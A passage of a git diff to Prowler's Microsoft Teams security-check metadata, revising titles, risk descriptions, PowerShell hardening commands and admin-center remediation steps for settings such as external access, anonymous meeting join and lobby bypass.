Microsoft Teams admin center: https://admin.teams.microsoft.com\n2. Go to Teams > Teams settings\n3. Under Email integration, set \"Users can send emails to a channel email address\" to Off\n4. Click Save", "Terraform": "" }, "Recommendation": { - "Text": "Disable the ability for users to send emails to Teams channel email addresses to reduce the risk of external abuse and enhance control over organizational communications.", - "Url": "https://learn.microsoft.com/en-us/powershell/module/teams/get-csteamsclientconfiguration?view=teams-ps" + "Text": "Disable email into channels by default. If needed, limit senders to approved domains, apply anti-phishing/malware filtering, enforce DLP and retention on inbound mail, monitor postings, rotate channel addresses, and prefer authenticated connectors-applying **least privilege** and **defense in depth**.", + "Url": "https://hub.prowler.com/check/teams_email_sending_to_channel_disabled" } }, "Categories": [ + "email-security", + "internet-exposed", "e3" ], "DependsOn": [], diff --git a/prowler/providers/m365/services/teams/teams_external_domains_restricted/teams_external_domains_restricted.metadata.json b/prowler/providers/m365/services/teams/teams_external_domains_restricted/teams_external_domains_restricted.metadata.json index 2e38305a5e..2fb5c1e934 100644 --- a/prowler/providers/m365/services/teams/teams_external_domains_restricted/teams_external_domains_restricted.metadata.json +++ b/prowler/providers/m365/services/teams/teams_external_domains_restricted/teams_external_domains_restricted.metadata.json @@ -1,30 +1,35 @@ { "Provider": "m365", "CheckID": "teams_external_domains_restricted", - "CheckTitle": "Ensure external domains are restricted.", + "CheckTitle": "External domain access is disabled for Teams users", "CheckType": [], "ServiceName": "teams", "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "high", - "ResourceType": "Teams Settings", + "ResourceType": "NotDefined", "ResourceGroup": "collaboration", - "Description": "Ensure external domains are restricted from being used in Teams admin center.", - "Risk": "Allowing unrestricted communication with external domains in Microsoft Teams increases the risk of exposure to social engineering attacks, phishing, malware delivery (e.g., DarkGate), and exploitation tactics such as GIFShell or username enumeration.", - "RelatedUrl": "https://learn.microsoft.com/en-us/powershell/module/teams/set-cstenantfederationconfiguration?view=teams-ps", + "Description": "**Microsoft 365 Teams** tenant external access configuration is assessed. The expected posture is **federation with external domains** disabled, so users cannot chat, call, or meet with accounts in other domains.", + "Risk": "**Unrestricted external federation** enables delivery of phishing links and malware via chats/calls, user enumeration, and data leakage through messages or file shares. This directly threatens **confidentiality** and **integrity**, and can aid social engineering-driven lateral movement.", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/powershell/module/teams/set-cstenantfederationconfiguration?view=teams-ps", + "https://learn.microsoft.com/ar-sa/entra/architecture/5-secure-access-b2b" + ], "Remediation": { "Code": { "CLI": "Set-CsTenantFederationConfiguration -AllowFederatedUsers $false", "NativeIaC": "", - "Other": "1. Navigate to Microsoft Teams admin center https://admin.teams.microsoft.com/. 2. Click to expand Users select External access. 3. Under Teams and Skype for Business users in external organizations set Choose which external domains your users have access to to one of the following: Allow only specific external domains or Block all external domains. 4. Click Save.", + "Other": "1. Sign in to the Teams admin center: https://admin.teams.microsoft.com/\n2. Go to Org-wide settings (or Users) > External access\n3. Turn off \"Users can communicate with other Skype for Business and Teams users\"\n4. Click Save", "Terraform": "" }, "Recommendation": { - "Text": "Restrict external collaboration by configuring Teams to either Block all external domains or Allow only specific, trusted external domains. This ensures users can only interact with vetted organizations, significantly reducing the attack surface.", - "Url": "https://learn.microsoft.com/en-us/powershell/module/teams/set-cstenantfederationconfiguration?view=teams-ps" + "Text": "Adopt a **default-deny** stance: disable external access. *If collaboration is required*, allowlist only trusted domains and apply **least privilege** with cross-tenant policies. Prefer **B2B guest/shared channels**, require **MFA** and compliant devices, and review logs and domain lists regularly.", + "Url": "https://hub.prowler.com/check/teams_external_domains_restricted" } }, "Categories": [ + "trust-boundaries", "e3" ], "DependsOn": [], diff --git a/prowler/providers/m365/services/teams/teams_external_file_sharing_restricted/teams_external_file_sharing_restricted.metadata.json b/prowler/providers/m365/services/teams/teams_external_file_sharing_restricted/teams_external_file_sharing_restricted.metadata.json index 5c0b3b463d..764e8656cd 100644 --- a/prowler/providers/m365/services/teams/teams_external_file_sharing_restricted/teams_external_file_sharing_restricted.metadata.json +++ b/prowler/providers/m365/services/teams/teams_external_file_sharing_restricted/teams_external_file_sharing_restricted.metadata.json @@ -1,30 +1,34 @@ { "Provider": "m365", "CheckID": "teams_external_file_sharing_restricted", - "CheckTitle": "Ensure external file sharing in Teams is enabled for only approved cloud storage services", + "CheckTitle": "External file sharing is restricted to only approved cloud storage services", "CheckType": [], "ServiceName": "teams", "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "high", - "ResourceType": "Teams Settings", + "ResourceType": "NotDefined", "ResourceGroup": "collaboration", - "Description": "", - "Risk": "Allowing unrestricted third-party cloud storage services in Teams increases the risk of data exfiltration, compliance violations, and unauthorized access to sensitive information. Users may store or share data through unapproved platforms with weaker security controls.", - "RelatedUrl": "https://learn.microsoft.com/en-us/powershell/module/teams/get-csteamsclientconfiguration?view=teams-ps", + "Description": "**Microsoft 365 Teams** client settings restrict **external file sharing** via third-party storage providers to an approved allowlist. Configuration is considered in place when only sanctioned providers are enabled, or when all non-approved providers are disabled.", + "Risk": "Unrestricted third-party storage in Teams weakens **confidentiality** and **integrity**:\n- Data may bypass DLP, eDiscovery, and retention\n- Sensitive files can be shared to unmanaged tenants\n- Unvetted apps can deliver tampered content, enabling **data exfiltration** and **malware**", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/powershell/module/teams/get-csteamsclientconfiguration?view=teams-ps" + ], "Remediation": { "Code": { - "CLI": "Set-CsTeamsClientConfiguration -AllowGoogleDrive $false -AllowShareFile $false -AllowBox $false -AllowDropBox $false -AllowEgnyte $false", + "CLI": "Set-CsTeamsClientConfiguration -AllowGoogleDrive $false -AllowShareFile $false -AllowBox $false -AllowDropbox $false -AllowEgnyte $false", "NativeIaC": "", - "Other": "1. Navigate to Microsoft Teams admin center https://admin.teams.microsoft.com. 2. Click to expand Teams select Teams settings. 3. Set any unauthorized providers to Off.", + "Other": "1. Go to https://admin.teams.microsoft.com and sign in\n2. Navigate to Teams > Teams settings\n3. Under Files > Third-party storage, turn Off any unapproved providers (Box, Dropbox, Google Drive, Egnyte, ShareFile)\n4. Click Save", "Terraform": "" }, "Recommendation": { - "Text": "Restrict external file sharing in Teams to only approved cloud storage providers, such as SharePoint Online and OneDrive. Configure Teams policies to block unauthorized services and enforce compliance with organizational data protection standards.", - "Url": "https://learn.microsoft.com/en-us/powershell/module/teams/get-csteamsclientconfiguration?view=teams-ps" + "Text": "Adopt a **deny-by-default allowlist** for Teams file sharing with third-party storage.\n- Enable only vetted providers aligned with governance\n- Prefer **SharePoint Online/OneDrive** for collaboration\n- Enforce **least privilege**, DLP, and eDiscovery on allowed paths\n- Block unsanctioned apps and limit external sharing to trusted domains", + "Url": "https://hub.prowler.com/check/teams_external_file_sharing_restricted" } }, "Categories": [ + "trust-boundaries", "e3" ], "DependsOn": [], diff --git a/prowler/providers/m365/services/teams/teams_external_users_cannot_start_conversations/teams_external_users_cannot_start_conversations.metadata.json b/prowler/providers/m365/services/teams/teams_external_users_cannot_start_conversations/teams_external_users_cannot_start_conversations.metadata.json index 0601799453..6404fa6234 100644 --- a/prowler/providers/m365/services/teams/teams_external_users_cannot_start_conversations/teams_external_users_cannot_start_conversations.metadata.json +++ b/prowler/providers/m365/services/teams/teams_external_users_cannot_start_conversations/teams_external_users_cannot_start_conversations.metadata.json @@ -1,30 +1,37 @@ { "Provider": "m365", "CheckID": "teams_external_users_cannot_start_conversations", - "CheckTitle": "Ensure external users cannot start conversations.", + "CheckTitle": "Users cannot start conversations with unmanaged accounts", "CheckType": [], "ServiceName": "teams", "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "critical", - "ResourceType": "Teams Settings", + "ResourceType": "NotDefined", "ResourceGroup": "collaboration", - "Description": "Ensure external users cannot initiate conversations.", - "Risk": "Allowing unmanaged external Teams users to initiate conversations increases the risk of phishing, malware distribution such as DarkGate, social engineering attacks like those by Midnight Blizzard, GIFShell exploitation, and username enumeration.", - "RelatedUrl": "https://learn.microsoft.com/en-us/powershell/module/teams/set-cstenantfederationconfiguration?view=teams-ps", + "Description": "**Microsoft 365 Teams** external access blocks conversation initiation from **unmanaged Teams accounts** when `AllowTeamsConsumerInbound=false`.", + "Risk": "Permitting unmanaged externals to start chats enables **phishing**, **malware delivery**, and **social engineering**, leading to credential theft and data exfiltration. It also allows **user enumeration** and presence probing, aiding **account takeover** and lateral movement, impacting confidentiality and integrity.", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/powershell/module/teams/set-cstenantfederationconfiguration?view=teams-ps", + "https://learn.microsoft.com/en-us/microsoftteams/trusted-organizations-external-meetings-chat", + "https://learn.microsoft.com/en-us/entra/architecture/9-secure-access-teams-sharepoint", + "https://learn.microsoft.com/en-us/microsoftteams/communicate-with-users-from-other-organizations" + ], "Remediation": { "Code": { "CLI": "Set-CsTenantFederationConfiguration -AllowTeamsConsumerInbound $false", "NativeIaC": "", - "Other": "1. Navigate to Microsoft Teams admin center https://admin.teams.microsoft.com/. 2. Click to expand Users select External access. 3. Scroll to Teams accounts not managed by an organization. 4. Uncheck External users with Teams accounts not managed by an organization can contact users in my organization. 5. Click Save.", + "Other": "1. Sign in to the Teams admin center: https://admin.teams.microsoft.com/\n2. Go to Users > External access\n3. Under \"Teams accounts not managed by an organization\", clear the checkbox \"External users with Teams accounts not managed by an organization can contact users in my organization\"\n4. Click Save", "Terraform": "" }, "Recommendation": { - "Text": "Disable the ability for external Teams users not managed by an organization to initiate conversations by unchecking the option that permits them to contact users in your organization. This provides an added layer of protection, especially if exceptions are made to allow limited communication with unmanaged users.", - "Url": "https://learn.microsoft.com/en-us/powershell/module/teams/set-cstenantfederationconfiguration?view=teams-ps" + "Text": "Disable inbound initiation from unmanaged accounts (`AllowTeamsConsumerInbound=false`). If external collaboration is required, prefer **allowlists** for trusted domains and use **guest access** with **least privilege**. Apply **defense in depth**: conditional access, link/file scanning, user education, and monitor for anomalous external chats.", + "Url": "https://hub.prowler.com/check/teams_external_users_cannot_start_conversations" } }, "Categories": [ + "trust-boundaries", "e3" ], "DependsOn": [], diff --git a/prowler/providers/m365/services/teams/teams_meeting_anonymous_user_join_disabled/teams_meeting_anonymous_user_join_disabled.metadata.json b/prowler/providers/m365/services/teams/teams_meeting_anonymous_user_join_disabled/teams_meeting_anonymous_user_join_disabled.metadata.json index 3aba1caac4..aff165662f 100644 --- a/prowler/providers/m365/services/teams/teams_meeting_anonymous_user_join_disabled/teams_meeting_anonymous_user_join_disabled.metadata.json +++ b/prowler/providers/m365/services/teams/teams_meeting_anonymous_user_join_disabled/teams_meeting_anonymous_user_join_disabled.metadata.json @@ -1,30 +1,34 @@ { "Provider": "m365", "CheckID": "teams_meeting_anonymous_user_join_disabled", - "CheckTitle": "Ensure anonymous users are not able to join meetings.", + "CheckTitle": "Anonymous users cannot join Teams meetings", "CheckType": [], "ServiceName": "teams", "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "critical", - "ResourceType": "Teams Global Meeting Policy", + "ResourceType": "NotDefined", "ResourceGroup": "collaboration", - "Description": "Ensure individuals who are not sent or forwarded a meeting invite will not be able to join the meeting automatically.", - "Risk": "Allowing anonymous users to join meetings can lead to unauthorized access, information leakage, and potential disruptions, especially in meetings involving sensitive data.", - "RelatedUrl": "https://learn.microsoft.com/en-us/powershell/module/teams/set-csteamsmeetingpolicy?view=teams-ps", + "Description": "**Microsoft 365 Teams** org-wide meeting policy is evaluated to ensure **anonymous meeting join** is disabled, preventing non-authenticated participants from joining.", + "Risk": "Anonymous meeting access allows unaccountable attendees to join, eavesdrop, capture shared content, and impersonate others.\n\nThis undermines **confidentiality** and **integrity**, and threatens **availability** via meeting hijacking, spam, and disruption.", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/powershell/module/teams/set-csteamsmeetingpolicy?view=teams-ps" + ], "Remediation": { "Code": { "CLI": "Set-CsTeamsMeetingPolicy -Identity Global -AllowAnonymousUsersToJoinMeeting $false", "NativeIaC": "", - "Other": "1. Navigate to Microsoft Teams admin center https://admin.teams.microsoft.com. 2. Click to expand Meetings select Meeting policies. 3. Click Global (Org-wide default). 4. Under meeting join & lobby set Anonymous users can join a meeting to Off.", + "Other": "1. Sign in to the Microsoft Teams admin center (https://admin.teams.microsoft.com)\n2. Go to Meetings > Meeting policies\n3. Select Global (Org-wide default)\n4. Set \"Anonymous users can join a meeting\" to Off\n5. Click Save", "Terraform": "" }, "Recommendation": { - "Text": "Disable anonymous user access to Microsoft Teams meetings to ensure only invited participants can join. This adds a layer of vetting by requiring organizer approval for anyone not explicitly invited.", - "Url": "https://learn.microsoft.com/en-us/powershell/module/teams/set-csteamsmeetingpolicy?view=teams-ps" + "Text": "Disable **anonymous meeting join** tenant-wide and require authenticated users or managed guests.\n\nUse **lobby** admission for externals, limit presenter rights per **least privilege**, and enforce **conditional access** or registration to control who enters.", + "Url": "https://hub.prowler.com/check/teams_meeting_anonymous_user_join_disabled" } }, "Categories": [ + "identity-access", "e3" ], "DependsOn": [], diff --git a/prowler/providers/m365/services/teams/teams_meeting_anonymous_user_start_disabled/teams_meeting_anonymous_user_start_disabled.metadata.json b/prowler/providers/m365/services/teams/teams_meeting_anonymous_user_start_disabled/teams_meeting_anonymous_user_start_disabled.metadata.json index 1dcc617f18..dc2bd0865e 100644 --- a/prowler/providers/m365/services/teams/teams_meeting_anonymous_user_start_disabled/teams_meeting_anonymous_user_start_disabled.metadata.json +++ b/prowler/providers/m365/services/teams/teams_meeting_anonymous_user_start_disabled/teams_meeting_anonymous_user_start_disabled.metadata.json @@ -1,30 +1,36 @@ { "Provider": "m365", "CheckID": "teams_meeting_anonymous_user_start_disabled", - "CheckTitle": "Ensure anonymous users are not able to start meetings.", + "CheckTitle": "Anonymous users cannot start Teams meetings", "CheckType": [], "ServiceName": "teams", "SubServiceName": "", "ResourceIdTemplate": "", - "Severity": "critical", - "ResourceType": "Teams Global Meeting Policy", + "Severity": "high", + "ResourceType": "NotDefined", "ResourceGroup": "collaboration", - "Description": "Ensure anonymous users and dial-in callers are not able to start meetings.", - "Risk": "Allowing anonymous users and dial-in callers to start meetings without an authenticated participant present can lead to meeting spamming, unauthorized activity, and potential misuse of organizational resources.", - "RelatedUrl": "https://learn.microsoft.com/en-us/powershell/module/teams/set-csteamsmeetingpolicy?view=teams-ps", + "Description": "**Microsoft 365 Teams meeting policies** disable `AllowAnonymousUsersToStartMeeting` so **anonymous users** and **dial-in callers** cannot start meetings and must wait in the lobby until an authenticated participant joins", + "Risk": "Without this control, outsiders can launch **hostless meetings**, enabling:\n- social engineering before staff join\n- malicious link sharing and meeting hijack\nIt also allows **PSTN toll abuse** by dial-in callers.\nImpacts: confidentiality, integrity, and availability/cost.", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/microsoftteams/settings-policies-reference", + "https://docs.tminus365.com/security/teams/anonymous-users-shall-not-be-enabled-to-start-meetings", + "https://learn.microsoft.com/en-us/powershell/module/teams/set-csteamsmeetingpolicy?view=teams-ps" + ], "Remediation": { "Code": { "CLI": "Set-CsTeamsMeetingPolicy -Identity Global -AllowAnonymousUsersToStartMeeting $false", "NativeIaC": "", - "Other": "1. Navigate to Microsoft Teams admin center https://admin.teams.microsoft.com. 2. Click to expand Meetings select Meeting policies. 3. Click Global (Org-wide default). 4. Under meeting join & lobby set Anonymous users and dial-in callers can start a meeting to Off.", + "Other": "1. Sign in to the Microsoft Teams admin center (https://admin.teams.microsoft.com)\n2. Go to Meetings > Meeting policies\n3. Select Global (Org-wide default)\n4. Under Meeting join & lobby, set \"Anonymous users and dial-in callers can start a meeting\" to Off\n5. Click Save", "Terraform": "" }, "Recommendation": { - "Text": "Ensure that anonymous users and dial-in callers are required to wait in the lobby until a verified user from the organization or a trusted external domain starts the meeting. This reduces the risk of abuse and maintains meeting integrity.", - "Url": "https://learn.microsoft.com/en-us/powershell/module/teams/set-csteamsmeetingpolicy?view=teams-ps" + "Text": "Keep `AllowAnonymousUsersToStartMeeting` disabled. Require an **authenticated organizer** to start meetings and enforce the **lobby** so anonymous and dial-in participants wait. Limit lobby bypass to internal or invited users, disable anonymous join if unnecessary, and apply least-privilege and zero-trust principles to meeting access.", + "Url": "https://hub.prowler.com/check/teams_meeting_anonymous_user_start_disabled" } }, "Categories": [ + "identity-access", "e3" ], "DependsOn": [], diff --git a/prowler/providers/m365/services/teams/teams_meeting_chat_anonymous_users_disabled/teams_meeting_chat_anonymous_users_disabled.metadata.json b/prowler/providers/m365/services/teams/teams_meeting_chat_anonymous_users_disabled/teams_meeting_chat_anonymous_users_disabled.metadata.json index c17e49dab5..d740df14bf 100644 --- a/prowler/providers/m365/services/teams/teams_meeting_chat_anonymous_users_disabled/teams_meeting_chat_anonymous_users_disabled.metadata.json +++ b/prowler/providers/m365/services/teams/teams_meeting_chat_anonymous_users_disabled/teams_meeting_chat_anonymous_users_disabled.metadata.json @@ -1,30 +1,34 @@ { "Provider": "m365", "CheckID": "teams_meeting_chat_anonymous_users_disabled", - "CheckTitle": "Ensure meeting chat does not allow anonymous users", + "CheckTitle": "Meetings global policy does not allow anonymous users in meeting chat", "CheckType": [], "ServiceName": "teams", "SubServiceName": "", "ResourceIdTemplate": "", - "Severity": "critical", - "ResourceType": "Teams Global Meeting Policy", + "Severity": "high", + "ResourceType": "NotDefined", "ResourceGroup": "collaboration", - "Description": "Ensure meeting chat does not allow anonymous users.", - "Risk": "Allowing anonymous users to participate in meeting chat can expose sensitive information and increase the risk of inappropriate content being shared by unverified participants.", - "RelatedUrl": "https://learn.microsoft.com/en-us/powershell/module/teams/set-csteamsmeetingpolicy?view=teams-ps", + "Description": "**Microsoft 365 Teams meeting policies** restrict chat so **anonymous participants** cannot send or read messages.\n\nAccepted configurations include `EnabledExceptAnonymous` or `EnabledInMeetingOnlyForAllExceptAnonymous`.", + "Risk": "**Anonymous chat** enables unverified users to leak sensitive content, post **phishing/malware links**, and impersonate others.\n\nThis undermines **confidentiality** and accountability, and can disrupt meetings through spam, affecting **availability** and auditability.", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/powershell/module/teams/set-csteamsmeetingpolicy?view=teams-ps" + ], "Remediation": { "Code": { - "CLI": "Set-CsTeamsMeetingPolicy -Identity Global -MeetingChatEnabledType 'EnabledExceptAnonymous'", + "CLI": "Set-CsTeamsMeetingPolicy -Identity Global -MeetingChatEnabledType EnabledExceptAnonymous", "NativeIaC": "", - "Other": "1. Navigate to Microsoft Teams admin center https://admin.teams.microsoft.com. 2. Click to expand Meetings select Meeting policies. 3. Click Global (Org-wide default). 4. Under meeting engagement verify that Meeting chat is set to On for everyone but anonymous users.", + "Other": "1. Sign in to the Microsoft Teams admin center: https://admin.teams.microsoft.com\n2. Go to Meetings > Meeting policies\n3. Open Global (Org-wide default)\n4. Under Meeting engagement, set Meeting chat to \"On for everyone but anonymous users\"\n5. Click Save", "Terraform": "" }, "Recommendation": { - "Text": "Restrict chat access during meetings to only authenticated and authorized users. Disable chat capabilities for anonymous users to maintain confidentiality and prevent misuse.", - "Url": "https://learn.microsoft.com/en-us/powershell/module/teams/set-csteamsmeetingpolicy?view=teams-ps" + "Text": "Enforce chat for **authenticated users only** following **least privilege**.\n- Block chat for anonymous users\n- Use guest access with identity verification and lobby controls\n- Apply DLP and link/file protection to chat\n- Monitor audit logs and set retention to ensure traceability", + "Url": "https://hub.prowler.com/check/teams_meeting_chat_anonymous_users_disabled" } }, "Categories": [ + "identity-access", "e3" ], "DependsOn": [], diff --git a/prowler/providers/m365/services/teams/teams_meeting_dial_in_lobby_bypass_disabled/teams_meeting_dial_in_lobby_bypass_disabled.metadata.json b/prowler/providers/m365/services/teams/teams_meeting_dial_in_lobby_bypass_disabled/teams_meeting_dial_in_lobby_bypass_disabled.metadata.json index 871777fa52..10fc89c76b 100644 --- a/prowler/providers/m365/services/teams/teams_meeting_dial_in_lobby_bypass_disabled/teams_meeting_dial_in_lobby_bypass_disabled.metadata.json +++ b/prowler/providers/m365/services/teams/teams_meeting_dial_in_lobby_bypass_disabled/teams_meeting_dial_in_lobby_bypass_disabled.metadata.json @@ -1,30 +1,35 @@ { "Provider": "m365", "CheckID": "teams_meeting_dial_in_lobby_bypass_disabled", - "CheckTitle": "Ensure that dial-in users cannot bypass the lobby in Teams meetings", + "CheckTitle": "Meetings global policy does not allow dial-in users to bypass the lobby", "CheckType": [], "ServiceName": "teams", "SubServiceName": "", "ResourceIdTemplate": "", - "Severity": "critical", - "ResourceType": "Teams Global Meeting Policy", + "Severity": "high", + "ResourceType": "NotDefined", "ResourceGroup": "collaboration", - "Description": "Ensure that dial-in users cannot bypass the lobby in Teams meetings", - "Risk": "Allowing dial-in users to bypass the lobby may result in unauthorized or unauthenticated individuals joining sensitive meetings without prior validation, increasing the risk of information leakage or meeting disruptions.", - "RelatedUrl": "https://learn.microsoft.com/en-us/powershell/module/teams/set-csteamsmeetingpolicy?view=teams-ps", + "Description": "**Microsoft 365 Teams meeting policies** prevent **PSTN dial-in callers** from bypassing the lobby (`AllowPSTNUsersToBypassLobby=false`), requiring admission by organizers or presenters.", + "Risk": "Direct admission of dial-in callers enables unauthenticated access, caller-ID spoofing, and meeting hijacking. Sensitive content can be overheard or recorded (**confidentiality**), discussions manipulated (**integrity**), and sessions disrupted (**availability**).", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/microsoftteams/who-can-bypass-meeting-lobby", + "https://learn.microsoft.com/en-us/powershell/module/teams/set-csteamsmeetingpolicy?view=teams-ps" + ], "Remediation": { "Code": { "CLI": "Set-CsTeamsMeetingPolicy -Identity Global -AllowPSTNUsersToBypassLobby $false", "NativeIaC": "", - "Other": "1. Navigate to Microsoft Teams admin center https://admin.teams.microsoft.com. 2. Click to expand Meetings select Meeting policies. 3. Click Global (Org-wide default). 4. Under meeting join & lobby set People dialing in can bypass the lobby to Off.", + "Other": "1. Sign in to the Microsoft Teams admin center: https://admin.teams.microsoft.com\n2. Go to Meetings > Meeting policies\n3. Select Global (Org-wide default)\n4. In Meeting join & lobby, set \"People dialing in can bypass the lobby\" to Off\n5. Click Save", "Terraform": "" }, "Recommendation": { - "Text": "Require all users dialing in by phone to wait in the lobby until admitted by the meeting organizer, co-organizer, or presenter. This ensures proper vetting before granting access to potentially sensitive discussions.", - "Url": "https://learn.microsoft.com/en-us/powershell/module/teams/set-csteamsmeetingpolicy?view=teams-ps" + "Text": "Enforce the lobby for all **PSTN dial-in callers**. Restrict admission to organizers or presenters, and allow only authenticated or explicitly invited users to bypass. Standardize via org-wide meeting policies or templates to uphold **least privilege** and **defense in depth**.", + "Url": "https://hub.prowler.com/check/teams_meeting_dial_in_lobby_bypass_disabled" } }, "Categories": [ + "identity-access", "e3" ], "DependsOn": [], diff --git a/prowler/providers/m365/services/teams/teams_meeting_external_chat_disabled/teams_meeting_external_chat_disabled.metadata.json b/prowler/providers/m365/services/teams/teams_meeting_external_chat_disabled/teams_meeting_external_chat_disabled.metadata.json index c33e967f64..1bc3400ba1 100644 --- a/prowler/providers/m365/services/teams/teams_meeting_external_chat_disabled/teams_meeting_external_chat_disabled.metadata.json +++ b/prowler/providers/m365/services/teams/teams_meeting_external_chat_disabled/teams_meeting_external_chat_disabled.metadata.json @@ -1,30 +1,36 @@ { "Provider": "m365", "CheckID": "teams_meeting_external_chat_disabled", - "CheckTitle": "Ensure external meeting chat is off", + "CheckTitle": "Meeting chat for untrusted organizations is disabled", "CheckType": [], "ServiceName": "teams", "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "high", - "ResourceType": "Teams Global Meeting Policy", + "ResourceType": "NotDefined", "ResourceGroup": "collaboration", - "Description": "Ensure users can't read or write messages in external meeting chats with untrusted organizations.", - "Risk": "Allowing chat in external meetings increases the risk of exploits like GIFShell or DarkGate malware being delivered to users through untrusted organizations.", - "RelatedUrl": "https://learn.microsoft.com/en-us/powershell/module/teams/set-csteamsmeetingpolicy?view=teams-ps", + "Description": "**Microsoft 365 Teams meeting policy** setting `AllowExternalNonTrustedMeetingChat` governs whether users can read or send chat messages in meetings hosted by **untrusted organizations**.\n\nThis assesses the org-wide default policy to confirm external meeting chat with non-trusted tenants is blocked.", + "Risk": "Permitting chat in external meetings with **untrusted tenants** risks:\n- Confidential data exposure via messages/files\n- **Malware delivery** through links or media (e.g., GIF-based techniques)\n- **Social engineering** enabling account compromise and **lateral movement**, degrading confidentiality and integrity", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/powershell/module/microsoftteams/set-csteamsmeetingpolicy?view=teams-ps", + "https://office365itpros.com/2023/10/23/block-meeting-chat-untrusted/", + "https://learn.microsoft.com/en-us/powershell/module/teams/set-csteamsmeetingpolicy?view=teams-ps" + ], "Remediation": { "Code": { - "CLI": "Set-CsTeamsMeetingPolicy -Identity Global -AllowExternalNonTrustedMeetingChat $false", + "CLI": "Set-CsTeamsMeetingPolicy -Identity Global -AllowExternalNonTrustedMeetingChat $False", "NativeIaC": "", - "Other": "1. Navigate to Microsoft Teams admin center https://admin.teams.microsoft.com. 2. Click to expand Meetings select Meeting policies. 3. Click Global (Org-wide default). 4. Under meeting engagement set External meeting chat to Off.", + "Other": "1. Sign in to the Teams admin center: https://admin.teams.microsoft.com\n2. Go to Meetings > Meeting policies\n3. Select Global (Org-wide default)\n4. Under Meeting engagement, set External meeting chat (untrusted organizations) to Off\n5. Click Save", "Terraform": "" }, "Recommendation": { - "Text": "Disable external meeting chat to prevent potential security risks from untrusted organizations. This helps protect against exploits like GIFShell or DarkGate malware.", - "Url": "https://learn.microsoft.com/en-us/powershell/module/teams/set-csteamsmeetingpolicy?view=teams-ps" + "Text": "Block chat for meetings hosted by **non-trusted organizations** and restrict collaboration to a vetted allowlist.\n\nAdopt **defense in depth**: limit content sharing, enable link/file scanning, enforce **DLP**, and user training. Review external trust relationships regularly per **least privilege**.", + "Url": "https://hub.prowler.com/check/teams_meeting_external_chat_disabled" } }, "Categories": [ + "trust-boundaries", "e3" ], "DependsOn": [], diff --git a/prowler/providers/m365/services/teams/teams_meeting_external_control_disabled/teams_meeting_external_control_disabled.metadata.json b/prowler/providers/m365/services/teams/teams_meeting_external_control_disabled/teams_meeting_external_control_disabled.metadata.json index d9aeff1830..785718c5ba 100644 --- a/prowler/providers/m365/services/teams/teams_meeting_external_control_disabled/teams_meeting_external_control_disabled.metadata.json +++ b/prowler/providers/m365/services/teams/teams_meeting_external_control_disabled/teams_meeting_external_control_disabled.metadata.json @@ -1,30 +1,36 @@ { "Provider": "m365", "CheckID": "teams_meeting_external_control_disabled", - "CheckTitle": "Ensure external participants can't give or request control", + "CheckTitle": "Meetings global policy prevents external participants from giving or requesting control", "CheckType": [], "ServiceName": "teams", "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "high", - "ResourceType": "Teams Global Meeting Policy", + "ResourceType": "NotDefined", "ResourceGroup": "collaboration", - "Description": "Ensure external participants can't give or request control in Teams meetings.", - "Risk": "Allowing external participants to give or request control during meetings could lead to unauthorized content sharing or malicious actions by external users.", - "RelatedUrl": "https://learn.microsoft.com/en-us/powershell/module/teams/set-csteamsmeetingpolicy?view=teams-ps", + "Description": "**Microsoft 365 Teams meeting policies** govern whether **external participants** can give, be given, or request control during screen sharing via `allowExternalParticipantGiveRequestControl`.\n\nEvaluation targets the org-wide default policy to confirm external control actions are blocked.", + "Risk": "External control during sharing enables remote input on the presenter's device, impacting:\n- Confidentiality: viewing/copying sensitive data\n- Integrity: unauthorized changes, keystroke injection, malware launch\n- Availability: session disruption or app termination", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/powershell/module/microsoftteams/set-csteamsmeetingpolicy?view=teams-ps", + "https://learn.microsoft.com/en-us/microsoftteams/meeting-who-present-request-control", + "https://learn.microsoft.com/en-us/powershell/module/teams/set-csteamsmeetingpolicy?view=teams-ps" + ], "Remediation": { "Code": { "CLI": "Set-CsTeamsMeetingPolicy -Identity Global -AllowExternalParticipantGiveRequestControl $false", "NativeIaC": "", - "Other": "1. Navigate to Microsoft Teams admin center https://admin.teams.microsoft.com. 2. Click to expand Meetings select Meeting policies. 3. Click Global (Org-wide default). 4. Under content sharing set External participants can give or request control to Off.", + "Other": "1. Open Microsoft Teams admin center: https://admin.teams.microsoft.com\n2. Go to Meetings > Meeting policies\n3. Select Global (Org-wide default)\n4. In Content sharing, set \"External participants can give or request control\" to Off\n5. Click Save", "Terraform": "" }, "Recommendation": { - "Text": "Disable the ability for external participants to give or request control during Teams meetings to prevent unauthorized content sharing and maintain meeting security.", - "Url": "https://learn.microsoft.com/en-us/powershell/module/teams/set-csteamsmeetingpolicy?view=teams-ps" + "Text": "Apply **least privilege**: disable external give/request control by setting `allowExternalParticipantGiveRequestControl=false` in the org-wide policy.\n\nIf business-justified, restrict presenters to trusted users, limit sharing to `SingleApplication`, use lobby/presenter roles, and monitor for misuse.", + "Url": "https://hub.prowler.com/check/teams_meeting_external_control_disabled" } }, "Categories": [ + "identity-access", "e3" ], "DependsOn": [], diff --git a/prowler/providers/m365/services/teams/teams_meeting_external_lobby_bypass_disabled/teams_meeting_external_lobby_bypass_disabled.metadata.json b/prowler/providers/m365/services/teams/teams_meeting_external_lobby_bypass_disabled/teams_meeting_external_lobby_bypass_disabled.metadata.json index ef7ca6cd03..4b33b99bce 100644 --- a/prowler/providers/m365/services/teams/teams_meeting_external_lobby_bypass_disabled/teams_meeting_external_lobby_bypass_disabled.metadata.json +++ b/prowler/providers/m365/services/teams/teams_meeting_external_lobby_bypass_disabled/teams_meeting_external_lobby_bypass_disabled.metadata.json @@ -1,30 